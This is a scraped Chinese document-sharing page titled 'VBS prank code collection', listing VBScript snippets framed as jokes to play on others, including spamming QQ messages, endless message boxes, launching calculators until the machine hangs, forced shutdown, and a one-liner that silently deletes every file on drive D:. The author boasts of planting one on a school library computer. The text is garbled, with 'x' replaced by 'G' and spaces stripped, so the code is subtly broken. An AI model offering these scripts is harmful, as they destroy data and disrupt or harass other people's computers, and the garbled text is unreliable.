【8A版】VBS整人代码大全

《【8A版】VBS整人代码大全》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、【MeiWei81-优质实用版文档】一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的GG替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).GG.vbs=>复制代码代码如下:OnErrorResumeNeGtDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与GG聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"neGtwscript.quitQQ骚扰信

2、息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgboG"Youarefoolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------

3、------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobj

4、ect("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、删除D:所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.ru

5、n"cmd/c""deld:G.G/f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------复制代码代码如下:while(1)msgboG"哈哈你被耍了！"【MeiWei81-优质实用版文档】【MeiWei81-优质实用版文档】loop-------------------------

6、---------------------------------------------------七、不断按下alt+f4（开什么都关闭……）---------------------------------------------------------------------------复制代码代码如下:dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中doun

7、tils=500，500可以随意更改)复制代码代码如下:dimsdountils=500s=s+1msgboG"哥们，给我按500次回车吧",64loop'------------------------------------------------------------------------------------九、关不掉的窗口复制代码代码如下:WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Ec